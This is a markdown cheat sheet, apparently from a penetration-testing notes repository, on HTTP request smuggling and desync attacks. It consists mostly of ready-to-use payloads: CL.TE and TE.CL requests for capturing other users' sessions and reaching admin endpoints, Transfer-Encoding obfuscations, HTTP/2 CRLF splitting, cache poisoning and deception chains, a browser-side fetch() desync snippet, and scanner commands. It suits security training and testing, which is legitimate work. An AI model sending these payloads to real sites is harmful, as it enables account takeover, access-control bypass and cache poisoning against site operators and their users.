Skip to content

Latest commit

 

History

History
306 lines (230 loc) · 5.97 KB

File metadata and controls

306 lines (230 loc) · 5.97 KB

HTTP Request Smuggling

Detection

# Timing-based detection
# CL.TE - if response delayed, front-end uses CL, back-end uses TE
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

1
Z
Q

# TE.CL - if response delayed, front-end uses TE, back-end uses CL
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

CL.TE

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
# Poison next user's request
POST / HTTP/1.1
Host: target.com
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
Content-Length: 10

x=

TE.CL

POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

# Capture other users' requests by smuggling into a stored parameter
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

a1
POST /post/comment HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 900
Cookie: session=victim_gets_appended

comment=
0

TE.TE (Obfuscation)

# Obfuscate Transfer-Encoding to make one server ignore it
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: x[\n]Transfer-Encoding: chunked
Transfer-Encoding
 : chunked
Transfer-encoding: cow

HTTP/2 Smuggling (H2)

# H2.CL - inject CL header in HTTP/2 (normally prohibited, some servers allow)
:method POST
:path /
:authority target.com
content-length: 0

SMUGGLED

# H2.TE - inject Transfer-Encoding in HTTP/2
:method POST
:path /
:authority target.com
transfer-encoding: chunked

0

SMUGGLED

# CRLF injection in HTTP/2 header (H2 header splitting)
:method GET
:path /
:authority target.com
foo: bar\r\nTransfer-Encoding: chunked

# HTTP/2 request splitting via CRLF in :path
:method GET
:path /x HTTP/1.1\r\nHost: target.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com
:authority target.com

Exploitation Chains

# Bypass front-end access controls
POST / HTTP/1.1
Host: target.com
Content-Length: 53
Transfer-Encoding: chunked

0

GET /admin/delete?user=carlos HTTP/1.1
Foo: x

# Reveal internal headers (front-end rewrites)
POST / HTTP/1.1
Host: target.com
Content-Length: 200
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=POST /login HTTP/1.1  <-- reflected back reveals rewritten headers

# Open redirect to XSS
POST / HTTP/1.1
Host: target.com
Content-Length: 10
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: anything

# Upgrade to on-site redirect -> delivers XSS or steals creds

# Web cache poisoning via smuggling
POST / HTTP/1.1
Host: target.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: anything
# Next legitimate request for /static/main.js gets this response (redirect) cached

# Web cache deception via smuggling
POST / HTTP/1.1
Host: target.com
Content-Length: 42
Transfer-Encoding: chunked

0

GET /my-account HTTP/1.1
Foo: x
# Next request for /static/x.js returns victim's account page, cached publicly

CL.0 / H2.0 Desync (Server Ignores Body)

# Backend ignores Content-Length entirely (treats body as next request)
# No Transfer-Encoding needed - works on servers that don't expect a body

POST /ignored-endpoint HTTP/1.1
Host: target.com
Content-Length: 30

GET /admin HTTP/1.1
Foo: x

# Server processes POST (ignores body), then parses body as new request
# Common on endpoints that don't expect POST bodies
# Try against: images, static files, redirects, 404 pages

Client-Side Desync (Browser-Powered)

# Trick victim's browser into desync'ing its own connection
# Browser sends legitimate request, gets response, but leftover data
# poisons the next request the browser makes on same connection

# Requires: CL.0 or stalled response on victim's browser connection
# Attack via <script>, <img>, fetch() from attacker page

# Step 1: Attacker page makes browser send request with body to target
# Step 2: Server ignores body (CL.0)
# Step 3: Body sits in TCP buffer, interpreted as start of next request
# Step 4: Browser reuses connection, next navigation gets poisoned response

# Example: inject via fetch() with keepalive
fetch('https://target.com/ignored', {
    method: 'POST',
    body: 'GET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n',
    mode: 'no-cors',
    credentials: 'include',
    keepalive: true
});
// Immediately after:
location = 'https://target.com/'
// Browser's GET / uses same connection -> gets /admin response

Response Queue Poisoning

# If you can get the server to return more (or fewer) responses than expected
# Subsequent responses get shifted to wrong requests

# Send 2 requests in pipeline:
GET /normal HTTP/1.1            -> expects response A
GET /target HTTP/1.1            -> expects response B

# If you can inject an extra response via smuggling:
# Response queue becomes: [Extra, A, B]
# Client receives: Extra for request 1, A for request 2
# Response B goes to the NEXT user's request!

# Exploit:
POST / HTTP/1.1
Host: target.com
Content-Length: 48
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com


# Next user visiting the site gets /admin response instead of their page

Pause-Based Desync (Server-Side)

# Send headers, pause, then send body
# Some servers timeout and process headers-only request
# Then body becomes start of next request

# Requires: connection reuse + server timeout < client timeout
# Send: complete headers with CL
# Wait: 60+ seconds
# Send: body (interpreted as new request)

Tools

# Burp Suite: HTTP Request Smuggler extension (auto-detect)
# smuggler.py
python3 smuggler.py -u https://target.com
# h2csmuggler (HTTP/2 cleartext smuggling)
python3 h2csmuggler.py -x https://target.com/ --test
# Turbo Intruder for CL.0/pause-based desync